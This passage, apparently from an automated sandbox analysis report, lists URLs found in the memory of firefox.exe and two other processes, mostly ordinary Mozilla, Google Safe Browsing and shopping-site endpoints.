Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405When
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://mozilla.org/W
Source: ea2bf34af0.exe, 0000001D.00000003.2963054746.00000000054B1000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2962774653.00000000054D3000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2963518450.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: ea2bf34af0.exe, 0000001D.00000003.2963054746.00000000054B1000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2962774653.00000000054D3000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2963518450.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.al
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF988F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.combackgroundTaskMinRuntimeMS
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-safeframe.html
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-safeframe.htmlshims/adsafeprotected-ima.js/shims/addth
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.handlers.migrationshttps://monitor.firefox.comhttps://addons.
Source: firefox.exe, 0000002E.00000002.3241937730.0000021BF8703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2When
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000002E.00000002.3206407600.000000D6833FE000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002E.00000003.3100865480.0000021C0368C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000002E.00000003.3100865480.0000021C0368C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userK
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsresource://gre/modules/ExtensionTelemetry.sys.mjs
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3106439610.0000021BFCB8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3237288323.0000021BF79EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpTried
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000002E.00000003.3141634324.0000021BFDAB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3148078391.0000021BFDAB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeschrome://browser/content/mi
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/PrivateBrowsingUtils.sys.mj
Source: ea2bf34af0.exe, 0000001D.00000003.2985939124.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000002E.00000002.3272696566.0000021BFC0CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.combrowser.tabs.drawInTitlebarbrowser.migration.versiongeckoprofiler
Source: firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000002E.00000002.3243491078.0000021BF8831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3151726311.0000021BFC583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000002E.00000002.3206488144.000000D683DD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/m/
Source: firefox.exe, 0000002E.00000002.3206488144.000000D683DD8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/m/g/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000002E.00000003.3109677092.0000021C03C81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2647399127.0000000023962000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001244145.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3001314364.00000000054C7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3000616148.00000000054B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
